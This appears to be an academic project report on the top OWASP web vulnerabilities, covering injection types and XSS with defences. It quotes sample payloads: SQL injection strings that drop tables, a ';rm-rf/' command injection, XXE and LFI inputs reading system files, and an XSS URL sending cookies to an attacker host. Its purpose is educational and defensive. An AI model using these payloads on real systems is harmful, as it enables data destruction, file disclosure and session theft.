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Web application security has been a major issue in information technology since the 
evolvement of dynamic web application. The main objective of this project was to carry out 
a detailed study on the top three web application vulnerabilities such as injection, cross-
site scripting, broken authentication and session management, present the situation where 
an application can be vulnerable to these web threats and finally provide preventative 
measures against them. 
 
In order to achieve the goal, vulnerability testings were done on the web applications which 
were created on the local host. The method used for testing was through penetration and 
code review. For penetration testing, BurpSuite, BackTrack5r3 software were used as web 
application penetration tool. In addition to these, WireShark, which is network analysing 
tool, and Tamper Data, which is browser add-on for editing HTTP header, were used. 
 
After successful completion of the vulnerability tests, it was clear that these web threats 
were capable of doing serious damage to an application or system by extracting, modify-
ing, and destroying unauthorized information of the application.  
 
Fight against web application security has always been challenging. Hence, proper pre-
ventive measures, good knowledge of web security, better coding and handling of applica-
tion will always be key weapons against web threats.  
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1 Introduction 
 
The Internet and information system have progressed drastically since the last few 
decades. In the early 90’s websites consisted of static pages which were basically plain 
text files displayed in a web browser. With the development of new technologies, web 
applications have achieved phenomenal success in the information technology world. 
In the beginning, computer browsers were used for accessing web applications, but 
now there are many small devices such as Smartphone, a tablet which is used for ac-
cessing web applications. Like the Internet, a web application has become an important 
component in corporate, public and government sectors. Web applications today are 
more functional and dynamic and are used on a daily basis for shopping, social net-
working, banking, searching queries or locations, booking travel tickets or reserving 
appointments or for web mail. Development of web applications has brought some se-
rious web vulnerabilities which have caused potential damage to person, organizations 
or governments. 
 
Modern web applications are database-driven. Web applications support features such 
as login, registration, online payment, and billing address. In order to access these fea-
tures, the client must submit personal and confidential information such as name, user-
name, bank account number, social security number, password, credit card number, 
and address that are stored in the database of the application. Attacks on these kind of 
systems cost not only losing credentials, but also misuse of them. For example, if an 
attacker gets a username and password of a government employee, he or she can 
easily steal confidential government data.  
 
The main objective of the project was detection and prevention of web vulnerabilities. 
According to Open Web Application Security Project (OWASP), as of 2013 the top 
three web vulnerabilities are listed below. [1] 
I. Injection 
II. Broken authentication and session management 
III. Cross-site scripting 
 
Hence several tests were carried out in order to achieve the goal of the project. The 
penetration testing technique was used to detect the vulnerabilities, and the code level 
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approach was used as a preventive mechanism against vulnerabilities. These top 
threats have been in existence for more than a decade. As a result the project was 
limited to a detailed study and testing of the top three web security threats. 
 
Web vulnerability is a global threat in the field of modern information technology. Even 
though any kind of attack without prior permission is considered a serious crime and 
can be charged with jail imprisonment and monetary penalties, web attacks happen 
every day. Similarly further development of web applications will give birth to danger-
ous web threats in future. Hence the reason behind choosing this project was that re-
search on web threats would lead to develop, manage and maintain secure web appli-
cations. 
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2 Injections 
 
In the real world, injection falls under two main categories such as attacking data stores 
and attacking back-end components. SQL injection, XPath injection, LDAP injection, 
and NoSQL injection reside under attacking data stores. Injection to XML interpreter, 
file inclusion injection, mail service injection, OS command injection falls under attack-
ing back-end components. Some of these injections with the respective defence 
mechanisms are described below.  
 
Figure 1. Components of injection. Copied from w3resource [2]. 
 
The components involved in the injection attack to the database is shown in figure 1.  
 
2.1   SQL injection 
 
The SQL injection is one of the most popular and threatening web vulnerabilities. The 
SQL injection is a way of attacking the database of a web application by passing mali-
cious data to user input, which on execution could cause serious damage to the web 
application. The SQL injection has been in existence since the SQL database has been 
connected to web applications. However, the first SQL attack was discovered in 1998 
by a hacker named Rain Forest Puppy [3,107].  Databases are an important element of 
modern web applications. Web applications are more interactive because they are da-
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tabase-driven. The web content of a web application is dynamically generated by the 
use of data from the database. There are different kinds of database servers available 
such as Microsoft SQL Server, Oracle, MySQL, and Sybase which use SQL for com-
munication. Programming languages used by web application establish a connection 
with the database, and help the application to interact with users. Each time users 
make a query, they send commands to the database for execution.  
 
An SQL injection takes place when the malicious SQL code is inserted into user input 
parameters that concatenate with SQL commands, later passed to a back-end SQL 
server for parsing and execution. When a web application fails to properly validate or  
sanitize the user inputs  that are passed, it will be possible for an attacker to modify an 
SQL statement and execute the SQL statement with the same right as the application 
user. This provides an attacker with an opportunity to view, modify or delete data in the 
database or possibly take the control of the database server. There have been some 
high-profile attacks in the past, for example: 
 
I. In October 2013, a hacker group named ‘TeamBersek’ claimed to have stolen 
$100,000 from an ISP company called California ISP Sebastian using an SQL 
injection to hack their website and accessed the usernames and passwords of 
customers [4]. 
II. In July 2012, a hacker group named ‘D33Ds Company’ used Union-based SQL 
injection on Yahoo and publicly posted dumped passwords of 450,000 Yahoo 
users [5]. 
III. On June 2011, Lady Gaga’s website was hacked and personal information of 
thousands of her fans was stolen by a hacking group named ‘Swagger Secu-
rity’, via an SQL injection [6]. 
 
2.1.1 Basic SQL injection 
 
SQL injection vulnerabilities most commonly occur due to a programmer’s negligence 
or limited knowledge of web security. A programmer does not validate the value com-
ing from user input. In some cases, validation is only done on the client side while vali-
dation is not applied on the server side. There are different cases which lead to SQL 
vulnerability in the application. Some of the cases are listed below and described. 
I. Incorrectly handled escape characters 
II. Incorrectly handled types 
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III. Incorrectly handled errors 
 
Incorrectly handled escape characters 
 
When escaped characters are not filtered, SQL database interprets the statement in a 
different manner, which provide enough information for hackers to find out if the web-
site is vulnerable or not. Listing 1 and listing 2 illustrate this vulnerability.  
 
SELECT * TABLE user WHERE name =’ $uname’; 
Listing 1. Selecting statement with where clause in MySQL  
 
If listing 1 is executed and the number of row returns is more than 0, then the database 
will pull all the record which belongs to  variable $uname. However, if variable $uname 
is not sanitized and the user passed some escaped characters along with the string 
such as   “ bhanu’ OR ‘1’=’1” as an input and on form submission, the SQL state-
ment looks like listing 2. 
 
SELECT * TABLE user WHERE name =’bhanu’ OR ‘1’=’1’; 
 
Listing 2. Select statement containing escaped character 
 
In listing 2, the SQL database will return all the records even if the name is not correct 
because the database reads OR statement which says ‘1’=’1’, which is always true. 
In this way one can access the database without any credentials. Moreover, if the user 
passes strings such as “ bhanu’; DROP TABLE user;” it  will delete the entire table  
as the SQL statement reads it in a different way. Listing 3 shows the behavior of the 
SQL statement. There are several characters which act as escaped characters such as 
blank space (), double pipe (||), comma (,), double quotes (‘’) which have special mean-
ings. 
 
SELECT * TABLE user WHERE name = ‘bhanu’; 
DROP TABLE user; 
 
Listing 3.  Select everything where name is “ bhanu” and delete the table 
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Incorrectly handled types 
 
Single quotes ( ‘ ) act as the string delimiter and when single quotes is used with a 
number, the number will be treated as a string. The SQL injection due to an incorrect 
handled type occurs when a numeric parameter is passed into the user input is not 
checked for type constraints.  
 
SELECT * TABLE user WHERE uid = $id; 
 
Listing 4. Select statement with where clause accepting number 
 
In listing 4, if the user passes input string such as “ 1; DROP TABLE user;”, the SQL 
statement  will look like listing 5  and execution of this query will delete the table user. 
 
 SELECT * TABLE user WHERE uid = 1;  
 DROP TABLE user; 
 
Listing 5.  Select everything where uid is 1 and delete the table user 
 
Incorrectly handled errors 
 
An SQL injection will occur due to incorrectly handling error when the server dumps 
some error messages which are displayed through web applications to the attacker. 
This kind of error message contains sensitive information about the application or da-
tabase logic which provides clues to the attacker to determine whether or not the data-
base is vulnerable to any SQL injection attack. The error message helps the attacker to 
develop the injection which is used in the manipulation of data in the database. Let us 
assume the attacker passes malicious input with escape character such as “ bhanu’” 
in listing 1. If the developer has proper error handling code for expected or unexpected 
exceptions, an attacker might see messages such as “name does not exist” or “un-
known message” sent by the application, but in the case of poor error handling, the 
error message will be send by the database server which makes the attacker sure that 
the web application is vulnerable to an SQL injection. 
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2.1.2 Blind SQL injection 
 
Normally hackers are dependent on the error message from the database server to 
determine SQL vulnerability. However in the case of a blind SQL injection, hacker does 
not rely on the error message but instead passes a logical TRUE or FALSE statement 
along with the user input request and relies on the specified page displayed. If the 
query returns TRUE, the page will be displayed and if the query returns FALSE, the 
page will not be displayed. This type SQL injection is used by the hacker when error 
message from the database server is disabled. 
 
SELECT * FROM user WHERE name = ‘bhanu’ AND 1=1; 
 
Listing 6. Select statement where logical operator is set TRUE 
 
 In listing 6, an injected code forces the database to evaluate the logical statement and 
display normal page since the statement is true. 
 
SELECT * FROM user WHERE name = ‘bhanu’ AND 1=2; 
 
Listing 7. Select statement where logical operator is set FALSE 
 
In listing 7, the application is likely to display an SQL error message from the database 
if the input parameter is not validated or sanitized and the error message provide  
enough information to the attacker about the possibility of a blind SQL injection. 
 
2.1.3 Defensive measures 
 
To prevent an SQL injection, the user input must not be directly embedded into the 
SQL statement. There are numerous ways to prevent the SQL injection and some of 
the methods are listed and described briefly below. 
I. Escaping all user supplied input 
II. Parameterized queries 
III. Stored procedure 
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Escaping all user supplied input 
 
As described in section 2.1.1, incorrectly handled escaped characters leads the rise of 
SQL injection, so one of the basic ways to prevent an SQL injection is to escape dan-
gerous characters. Hence the double quote ( “ ) character should be used to replace 
single quote (‘) character to form a valid SQL string literal. However, escaping all user 
supplied input is not considered the best way to prevent the SQL injection because 
some databases allow to escape strings in more than one way. In PHP, the 
mysqli_real_escape_string()function escapes special characters such as NULL 
(ASCII 0), \n, \r, \, ', ", and Control-Z  from the input string before sending a SQL query 
[7].  
 
Parameterized queries 
 
Parameterized queries, also known as prepared statements are the templates for a 
query that is used to communicate with the database. Prepared statements are not 
only the best way to prevent SQL injection but they also improve performance of the 
application. The reason behind prepared statements being more secure is that it sepa-
rates the SQL logic from the data being supplied. In other words, prepared statements 
are sent to the database server first for parsing, compilation and query optimization. 
After that the input parameter from the user is sent to the database server. Since the 
prepared statement and any user input are sent separately to the database server, 
input is not considered the application’s SQL code but rather it is interpreted as data. 
Prepared statements are parsed, compiled and optimized only once in the beginning by 
the database server so they run faster and provide better performance.[8] 
 
Stored procedure 
 
A correctly used stored procedure helps to prevent against SQL injection. The stored 
procedure is a group of T-SQL statements where the query is saved as a specific 
stored procedure and the SQL statement stored in it can be simply called by the name 
of that particular stored procedure.[8] 
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2.2 OS command injection 
 
The OS command injection is a vulnerability which occurs when direct system com-
mands are supplied through unsanitized user input, which interact with the operating 
system of the web server. It is also called a shell injection. In spite of being less popular 
than SQL injection, it is easy to exploit and considered extremely dangerous as its con-
sequences are critical. In the worst situation, an attacker can gain complete control 
over web server. The web browser needs built-in API which establishes interaction with 
the operating system which can also provide access to the file system. OS command 
injections are generally targeted at custom-built applications which provide an adminis-
trative interface and interaction between the operating system and application which 
helps the attacker pass direct commands along user supplied input , Uniform Resource 
Locator (URL) or cookie. It allows execution of shell commands or system shells.[9, 
358] 
 
The OS command injection can be injected in various ways by using a combination of 
different meta characters. The redirection operator (<, >, >>) redirects input or output 
commands to performs multiple functions such as appending text to a file, modify files 
on the server. The logical operator (&&, ||) performs a logical operation. Pipes (|) are 
used to batch multiple commands [2]. In PHP there are many functions which execute 
shell commands. Out of many functions, eval() in PHP is considered an evil function.  
eval()  function evaluates an input string as a PHP code. If the malicious command 
passes through the input, it will dynamically execute the code at run time. Listing 8  
illustrates  how a command injection is injected in an application where the  eval () 
function is used. [10] 
 
  <?PHP 
$username = $_GET [‘name’]; 
$command =  'ls -l /home/'. $username; 
eval ($command); 
      ?> 
 
Listing 8. PHP code which execute shell command 
 
As shown in listing 8, the application accepts data remotely and executes the code. If 
an attacker passes malicious code eventually, it will be executed as well since there is 
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no sanitization or input validation mechanism. If an attacker passes “;rm-rf/” into 
$username variable, the eval () function will be executed as shown in listing 9. 
 
 eval (‘ls -l /home/; rm-rf/’); 
 
Listing 9. Value to be executed inside eval() function 
 
In listing 9, there are two parts of codes inside the eval () function separated by a 
semicolon. In the first part the OS will execute the ls command and in the second part 
it will delete the entire file system.  
 
Defensive measures 
 
The best way to prevent a command injection is to avoid unnecessary execution of 
remote data. This can be done by using a proper input validation and sanitization tech-
nique. The programming language provides a handful of functions which execute shell 
commands. Hence the uses of such functions should be avoided if possible or any data 
received from the client should be properly validated or sanitized before using such 
functions. Remote data from a client can be validated by a blacklist or whitelist mecha-
nism. A black list is a checking for a desired input against malicious code before execu-
tion. In other words, a blacklist is a way of filtering the desired input against a list of 
negative inputs. Normally a negative input includes delimiters such as dash (|), double 
das (||), semi colon (;), amp (&), double amp (&&) and command such as ls, rm, 
cat, net, del, or copy. Black list method is not considered ideal for filtering pa-
rameters because even though it blocks all the data from the list, it does not filter any 
data which comes out of the list. A whitelist is a checking for a desired input against the 
safe execution pattern. In other words, a whitelist is a way of filtering the desired input 
against a list of all possible inputs. A white list method is considered an effective 
method because it automatically rejects anything that does not match the list. Hence 
malicious commands are filtered in this way.  
 
2.3 XML interpreters injection 
 
A web application employs an Extensive Markup Language (XML) to perform the re-
quest and response between the browser and front-end and back-end application. The 
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XML is used in web services such as SOAP, WSDL, REST. Since XML is used to 
transfer data from the client to the application and vice versa, users can provide vari-
ous malicious data as an input, which overrides the contents  of an XML document, 
thereby causing potential damage to the application. [9, 383] 
 
2.3.1 XML external entities injection 
 
XML parsing libraries support the use of entity reference in the XML, which provides an 
attacker an opportunity to gain unauthorized access to the files on the local machine, 
scan remote machines, inject malicious data, and perform a denial of service on re-
mote systems. The XML allows custom entity references to be defined in the XML doc-
ument within the optional DOCTYPE element on top of the document. XML External En-
tities can be defined using external references which dynamically build the document at 
the time of processing. Hence, an XML parser can extract data dynamically from exter-
nal resources [9]. The XML parser can access external web URLs or resources on the 
local ﬁle system by the external entities in the URL format. An external entity reference 
is specified with the SYSTEM keyword, and its deﬁnition is a URL that may use the 
file: or http: protocol [9, 385].  
 
<?XML version ="1.0"?> 
<!DOCTYPE root  
[ 
<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini"> 
]> 
<in>&foo;</in> 
 
Listing 10. XML containing external entity 
 
In listing 10, the  XML parser  fetches  the content of the c:\winnt\win.ini and put 
it in the place of defined entity reference &foo used within <in>element.  
 
2.3.2 SOAP injection 
 
SOAP is an XML-based communication protocol which is used  to send  messages 
between application programs  running on the same or  two different operating sys-
tems, with a different architecture and different programming language over the Inter-
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net. One of the implementations of SOAP is in a distributed application where a com-
plete application is distributed in a number of machines, for example, if the database 
resides on one server and the application resides on another server. In order to per-
form a request and response between these servers, SOAP can be used. Since SOAP 
is interpreted in XML and performs the request and response, it is potentially vulnera-
ble to injection. [9, 386] 
 
2.3.3 Defensive measures 
 
An XML external entity injection can be prevented by avoiding the load of external enti-
ties. In PHP, the libxml_disable_entity_loader() function, when set true, dis-
ables loading external entities. However custom entities predefined in the DOCTYPE are 
not disabled. Similarly, some other way of preventing XML interpreter injections is 
denying XML document which does not have a DOCTYPE declaration or contains sus-
picious entities which are not allowed. This can be achieved by validating the incoming 
XML document. [11] 
 
2.4 XPath injection 
 
XPath is a language which defines a part of an XML document which uses path ex-
pression to navigate from one node to another node of the XML document. One of the 
tasks of XPath is to retrieve information directly from XML or in conjunction with 
XQuery or XSLT transformation. Therefore, in the absence of proper sanitization or 
filter of user input, an attacker can inject an arbitrary code in XPath which thereby gets 
stored in an XML document. The XPath injection is almost similar to an SQL injection 
where the attack is targeted to an XML database instead of an SQL database. There 
are two ways XPath injection can be performed and they are described below. 
 
2.4.1 Informed XPath injection 
 
 An application retrieves information from the user and form XPath expression to query 
the database. If the supplied data from the user contains a malicious code, lack of im-
proper input validation or use of parameterized XPath expression, authentication can 
be easily bypassed causing serious damage 
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 <?xml version="1.0" encoding="UTF-8""?> 
     <user> 
 <name>bhanu</name> 
         <password>bhanu123</password> 
     </user> 
 
Listing 11. Basic structure XML document for authentication 
Let us assume that snippets in the listing  11 authenticates the users. 
 
     //Login/user[name/text()=’”+loginID+”’   
and password/text()=’”+password+”’ 
 
Listing 12. Xpath Query for name and password 
 
In listing 12, loginID and password take the user supplied input. XPath supports the 
substring() function which returns a string of specified index. Hence taking ad-
vantage of it, an attacker can insert crafted data along with the XPath expression and 
access the application as an authenticated user.  
 
      //Login/user[name/text()=’Bhanu’  and pass                              
                                 word/text()=’ ”+password+”’  or 
      //Login/user[name/text()=’Bhanu’and substring     
                        (password/text(),1,1)=’B’] and  ‘a’=’a’] 
 
Listing 13. XPath Query containing value for name and substring function  
 
The crafted data along with the  XPath expression is injected to perform an XPath in-
jection is shown in listing 13. 
 
2.4.2 Blind XPath injection 
 
A blind XPath injection is similar to a blind SQL injection where a piece of information 
from an XML application can be extracted by testing it with Boolean queries. The blind 
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XPath injection takes place when a string along with Boolean queries is inserted into an 
XPath query. The application functions in the normal way if the Boolean value is TRUE 
and it behaves in a different way is the Boolean is FALSE. The attacker can inject a 
blind XPath injection without prior knowledge of XPath query. In other words, if an ap-
plication is vulnerable to a blind XPath injection, an attacker will not need to have com-
plete knowledge of XPath. The two techniques to perform a successful blind XPath 
injection attack are as follows. 
I. XPath crawling 
II. Booleanization of XPath scalar query 
 
XPath crawling 
 
XPath crawling is a method which allows XPath expressions to crawl through an XML 
document using scalar queries such as count(),  name(), Uri() ,they return Boole-
an, number or strings. With XPath crawling, a complete XML document can be con-
structed without knowledge of document structure [12]. Listing 14 contains examples of 
XPath crawling. 
 
     count(path/child::node()) 
     name(path/attribute::*[position()= N])  
 
Listing 14. Xpath Query functions  
 
Booleanization of XPath scalar query 
  
Booleanization of XPath scalar query is the process in which XPath scalar queries are 
replaced by Boolean value (TRUE/FALSE). By replacing a string or a number generat-
ed from XML crawling with a Boolean value, the XPath query can be constructed and it 
can be implemented in the blind XPath injection. The XPath expression used with func-
tions such as string.length( ), substring( ) returns the Boolean value if 
iterated over certain range.[12] 
  ‘or substring(name(parent::*[position()=1]),2,1)=’a  
 
Listing 15. XPath Query substring function to check occurrence of string 
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Referring to listing 11, listing 15 will return false, as the second string of parent(‘user’) 
is ‘s’, and if the code iterated over a certain range with a different alphabet in string, 
entire data from XML can be extracted. 
2.4.3 Defensive measures 
 
The defensive  measures against XPath injection follow the same rules as SQL injec-
tion. The XPath injection occurs when malicious code is injected into an XML docu-
ment, hence sanitizing of user input is the first step to stop XPath injection attacks. 
Sanitization should be done by the whitelist technique. For example, if the username 
and password are passed through an XPath query, the whitelist acceptable character 
for username should be only alphanumeric and password should be hashed. Doing so, 
special characters such as braces (()), equal (=), colon (:), quotes (‘)are stripped out 
which would apparently prevent an attacker to change the behavior of the query.  
 
2.5 File inclusion injection 
 
A File inclusion injection occurs when an application accepts files from the local server 
or remote server. Some applications require the file to be uploaded from remote ma-
chine in order to perform a particular function. Similarly, within the local server, files are 
created to make code re-usable and those files are included in the application using 
functions provided by the programming languages. A file inclusion injection occurs 
when a contaminated file is injected into the application and execution of such a file 
changes the behavior of the application. There are two types of file inclusion injections 
such as local file inclusion injection and remote file inclusion injection.  
2.5.1 Remote file inclusion injection 
 
Remote file inclusion (RFI) occurs in an application which supports dynamic file include 
from the remote server. In PHP there are some functions such as  include(), re-
quire () which include and evaluate the files. So when the application receives files 
from a user input, they are passed into these functions and on execution, the code in-
side the file is also executed. The attacker can take advantage of this opportunity and 
send malicious file from remote server [13, 143]. Listing 16 explains how the file from 
the remote server is injected into the application. Let us assume that listing 16 has the 
URL ” http://rfi.com/test.PHP” . 
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<?PHP 
  $get_file = $_REQUEST["file"]; 
  include($get_file.".PHP"); 
    ?> 
 
 Listing 16. PHP function which execute file from user 
  
In listing 16, variable $get_file receives the file from the user through an HTTP re-
quest and it is passed inside the include() function which holds the file name and 
extension. Attacker can pass a malicious file through the URL as shown in example 
URL1. 
 
Example URL 1: 
 
 http://rfi.com/test.PHP?file=http://vulnerable/attack. 
 
When the malicious URL as shown in example URL 1 is passed as a variable, the ‘at-
tack.PHP’ file which contains contaminated code will be executed. 
 
2.5.2 Local file inclusion injection 
 
Local file inclusion (LFI) vulnerability happens when a malicious file is uploaded into 
application from the local server.  LFI attack is similar to RFI but the only difference is 
that in case of LFI file is stored in the local server. This type of vulnerability occurs 
when arbitrary file or the path to a certain file is passed as file name parameter and 
input is not properly sanitized. LFI vulnerability can cause potential damage such as 
disclosing credentials or gaining access to unauthorized files. In listing 16, passing 
/.etc/passwd%00 into file name parameter will disclose content of 
/.etc/passwd.[14] 
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2.5.3 Defensive measures 
 
There are a few preventive measures which can protect the application against file in-
clusion vulnerability. In PHP some function allow direct access to remote files. Func-
tions such as  allow_url_include() should be discarded. At the same time, for 
sanitization,  whitelist and blacklist technique should be followed which not only prevent 
users uploading any files but also prevents application’s exposure to crafted elements. 
For example, unexpected characters such as ".. ", "/", "%00" etc should be 
blacklisted and permitted character should be specified in regular expression like "a-
Z0-9". 
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3 Cross site scripting 
 
Cross-site scripting is another notorious web application vulnerability which arises due 
to insertion of malicious client side script in the URL of the application. A cross-site 
attack occurs when the user’s browser loads the page which contains a malicious 
script. The abbreviation of cross site scripting is XSS. In general, two parties involved 
in a web based attack are the attacker and the victim but in XSS there are three parties 
namely, the attacker, the victim and the website. In XSS, JavaScript is often used to 
create a crafted script which can be embedded with HTML and CSS. However other 
scripting language such as Visual Basic can as well be used to invent a malicious 
script. It is believed that websites experienced XSS in early 1996 after the evolvement 
of the JavaScript language. After that, in December 1999, an employee of Internet Ex-
plorer at Microsoft working on security, named David Ross, issued a Microsoft internal 
paper on XSS entitled “Script Injection” which primarily described an exploitation, work-
ing, and filtering solution of an XSS attack. This paper came into public release on Feb-
ruary 2, 2000 with title “Cross-site Scripting Overview”. [15, 2] 
 
Until early 2005, XSS was not considered a serious web threat,  and as a result it got 
less attention from developers. However, an XSS attack on the social networking site 
Myspace on October 4, 2005 changed the whole perception of it. One of the users of 
Myspace named, Samy Kamker, created a self-propagating XSS worm called Samy 
worm. Through this worm, he expanded his friend list to over 1 million in less than 24 
hours. Though the filter mechanism implemented by Myspace would prevent the inser-
tion of the JavaScript code on the profile page of the user, Samy inserted the 
JavaScript code through Cascading Style Sheet. When the URL was loaded, it would 
invite other users to view his profile and in the meanwhile it would automatically add 
him as a friend by AJAX running in the background. Since the worm was self-
replicating, any user who viewed the victim’s user profile would be infected. Below is a 
list of a few well-known XSS attacks in the real world. [16] 
 
I. On January 7, 2013, according to an article published in ‘The Next Web’, the 
Yahoo email account of a user was being hacked by XSS. The email account 
was hacked after the user clicked the malicious link from the inbox.[17] 
II. On April 20, 2008, Barack Obama’s website was exploited to redirect the visitor 
to the campaign website of Hillary Clinton. The exploitation of Obama’s website 
was done by using XSS vulnerability. [18] 
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The consequences of XSS can be simply from displaying an alert() box to posing po-
tential damages. One of the serious security threats of XSS is session stealing. Some 
of the other XSS attack payloads include for example, virtual defacement, injecting 
Trojan functionality, inducing user action, exploiting any trust relationship, escalating 
the client side attack, network scanning, undermining CSRF defences, data theft, and 
keystroke logging. 
 
3.1 Reflected XSS 
 
Reflected XSS occurs when a user sends an input to a vulnerable application, and it is 
then reflected back to the same user’s browser. It is the most common type of XSS 
where the malicious script comes along with the user request. This type of XSS is also 
referred as type 1 XSS because its life cycle is completed in a single HTTP re-
quest/response pair. Since the attacker requests the web page by insertion of a mali-
cious script into the URL, the server immediately responds by displaying the result from 
the malicious script. As a result, the attack is not stored in the server or, in other words, 
it can be called a non persistent XSS attack [9, 435]. Example URL 2 below illustrates 
a simple attack by reflected XSS. 
 
Example URL 2: 
 
http://cssattack.com/index.PHP?message=hello%20 world. 
 
The URL above takes the value of message parameter from the user and display it to 
the user. The response from the server would be like <p>Hello World</p>. 
If the attacker finds the message parameter not being properly sanitized, he or she can 
insert some JavaScript code as shown in example URL 3, and it would pop up an alert 
box. 
 
Example URL 3: 
 
http://cssattack.com/index.PHP?message=<script>alert(‘You 
are Hacked’);</script> 
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Although the example URL 3 shows one way to implement a reflected XSS attack, it is 
not a good idea to tease one’s web page. However, the attacker can perform a re-
flected XSS on the vulnerable application and hijack cookies of other users of the ap-
plication. Figure 2 explains the step of hijacking a cookie through reflected XSS. 
 
 
Figure 2. Steps involved in reflected XSS. Copied from Stuttard D, Pinto M [9,438] 
 
1. The user enters credentials in the input field and logs into the system. The sys-
tem issues a session token to the user. 
Set-Cookie: sessid=14er7t85fffg89547222e475e5f44db698712s 
2. The attacker inserts a crafter URL into the web page of the application and 
sends it to the user by email, instant message or by other means. 
      http://mdsec.net/error/5/Error.ashx?message=<script>var+i= 
      new+Imag;+i.src=”http://mdattacker.net/”%2bdocument.cookie 
     ; </script> 
3. The user requests the crafted URL from the server. 
4. The server sends the response with the web page along with a malicious 
JavaScript. 
5. The user’s browser executes the response from the server which has a mali-
cious code as a part of the content. 
6. After the execution of the code, the user’s browser sends the session token to 
the attacker. 
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7. The Attacker sends a request to the crafted URL http://mdattacker.net 
which the attacker created earlier. The response from the URL gives the ses-
sion token of the user to the attacker. 
 
Defensive measures 
 
There are a few methods of preventing reflected XSS attack. Some of them are listed 
below. 
I. Encoding 
II. Content Security Policy 
III. Validation of input and output data 
 
Encoding 
 
Encoding also known as escaping is a technique which interprets the user input as 
data, not as a code. As a result, even though the attacker injects a malicious script to 
the page, it will not be executed. In order to make the application more secure, proper 
encoding should be implemented when the application receives data from the user and 
when the application renders data into a webpage. A webpage contains multiple con-
texts where the user can insert untrusted data .For different context, different encoding 
is needed. Escaping for HTML is different from escaping for other contexts. Therefore, 
using wrong escaping to a context increases the risk of being exploited rather than be-
ing protected. Below are some of the rules of encoding in different contexts of a docu-
ment. 
 
I. The HTML  element content lies inside the body of the page within opening and 
closing tags such as <p>...</p>, <div>...</div>.Any user-supplied in-
put should be escaped with HTML entity encoding before inserting it into this 
context. In PHP, the htmlspecialchars() function replaces special charac-
ters with HTML entities.  
 
II. Each character of the supplied user input, which is later passed as the value of 
attribute such as name, value, width should be escaped with the HTML 
entity. Some attributes such as href, src, style along with the event han-
dler attribute should be treated with JavaScript escaping. 
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III. The user supplied data must be quoted before passing into a JavaScript varia-
ble. All the characters of the supplied data must should be encoded by Unicode 
or hex encoding and put into \xHH format. 
 
IV. Data inserted into a URL, which accepts an HTTP GET parameter should be 
escaped by URL encoding where all the characters of the input should be re-
placed with the %HH format. At the same time, it should be kept in consideration 
that the entire URL should not be encoded. 
 
Content Security Policy 
 
Content security policy (CSP) is a feature in a browser supported by most major 
browsers. Its main goal is to prevent XSS. It provides an additional layer of protection 
to the web application against XSS. The website declares a policy to the browser 
where scripts and other resources are expected to come from. If the website loads 
scripts and resources from somewhere else, the browser blocks those scripts and re-
sources. It is delivered in each HTTP header response or meta element. The reason 
behind inserting CSP in the header is that it is hard for an attacker to forged the head-
er. CSP follow certain rules according to which the eval() function in JavaScript is 
disabled, inline JavaScript is not executed and resources can be only loaded from 
whitelisted items.[19] 
 
Validation of input and output data 
 
Validation is another process which along with encoding and CSP proved to be helpful 
in preventing XSS attacks. Validation is a filtering mechanism which filters a malicious 
part of the code from the input and output data. Validation should be done by both the 
whitelist and blacklist technique. In the whitelist technique, regular expression can be 
implemented so that only a selected character can be sent by the user. There are cer-
tain strings or characters which lead to XSS and which should be blacklisted so that the 
application would not permit entry of any items which are in the blacklist.  
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3.2 Stored XSS 
 
Stored XSS occurs when an attacker injects a malicious script into the URL and makes 
a request to the application. In this case, the malicious script is stored permanently in 
the database of the application. If the victim accesses the same application, the mali-
cious script will be executed. Stored XSS is common in message forums, comment 
fields, blogs. Stored XSS is also called persistent XSS because the attacker sends the 
malicious script to the application, which is stored in the database permanently. It is 
also referred to as type 2 or second order XSS because there are at least two requests 
involved it. The first request is when an attacker sends the crafted code to the applica-
tion. The second one is when the victim views the web page of the application. One 
good example of stored XSS can be a message forum. In the message forum, an at-
tacker logs in and checks if the application is vulnerable to XSS. If it is vulnerable to 
XSS, an attacker puts some JavaScript code which would extract a cookie of the 
document and send it to the application server. Now, when the victim logs in and ac-
cesses the message, the victim’s cookie will be sent to the attacker. Figure 3 explains 
the steps involved in stored XSS attacks. 
 
Figure 3. Steps involved in stored based XSS. Copied from Stuttard D, Pinto M [9,439]  
 
1. The attacker can use an application’s comment section and insert malicious 
JavaScript code and send it to the server. 
2. The user enters credentials into the input field and logs into the system. The 
system issues a session token to the user. 
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3. The user requests attacker’s comment. 
4. The server sends the response along with malicious JavaScript. 
5. The user’s browser considers the malicious script to a part of the webpage con-
tent and executes the page in a normal way. 
6. After the execution, the user’s browsers send the session token to the attacker.  
 
Defensive measures 
 
The preventive measures against stored XSS is the same as reflected XSS which was 
described in section 3.1 
 
3.2.1 DOM-based XSS 
 
DOM-based XSS occurs when a client’s browser directly executes malicious 
JavaScript code through the Document Object Model (DOM). This is main difference 
between DOM-based attacks and other two types of XSS attacks because in the case 
of reflected and stored XSS the server relays the malicious code to the browser. Since 
the malicious data is never sent to the server, DOM-based XSS is not vulnerable to the 
application. When a page is loaded on the browser, the browser provides the docu-
ment object which can access the content of the page. If the script uses these objects 
without proper sanitizing, a DOM-based XSS attack will be possible [20] .Figure 4 ex-
plains the steps in DOM-based XSS. 
 
Figure 4. Steps involved in DOM-based XSS. Copied from Stuttard D, Pinto M [9,441] 
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1. The user enters credentials into the input field and logs into the system. The 
system issues a session token to the user. 
2. The attacker inserts a crafter URL into the web page of the application and 
sends it to the user by email, instant message or by other means. 
3. The user requests the crafted URL from the server. 
4. The server sends the response with a webpage which does not contain mali-
cious code as a part of the page. However malicious code is hardcoded in the 
URL. 
5. The user’s browser loads the response from the server and executes the mali-
cious script 
6. After the execution of the malicious code, the user’s browser sends the session 
token to the attacker. 
 
Defensive measures 
 
The prevention of a DOM-based XSS attack can also be achieved by encoding. How-
ever encoding on the client side is different from that of the server. Below are two tech-
niques to prevent DOM-based XSS attacks. 
I. Encoding 
II. Validation of input and output data 
 
Encoding 
 
The encoding technique applied in prevention of DOM-based XSS is different from re-
flected or stored XSS. Two encoding methods are explained below. 
  
I. The HTML content can be inserted inside JavaScript with the help of the 
method and attributes. So encoding HTML content and then encoding 
JavaScript should be done before the attacker inserts untrusted data into the 
HTML subcontext within the execution context. An example of this type of en-
coding is shown in listing 17. 
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document.write(“<%=Encoder.encodeForJS(Encoder 
.encodeForHTML(untrustedData))%>”); 
 
Listing 17. HTML and JavaScript encoder 
 
II. The attacker can insert a malicious JavaScript code inside the attribute of style 
context and when the browser executes of such a code, it will end up in a DOM-
based XSS payload. So any JavaScript code should be encoded with JavaS-
cript encoder before inserting it into a CSS attribute. Listing 18 is an example of 
JavaScript encoding in a CSS attribute. 
 
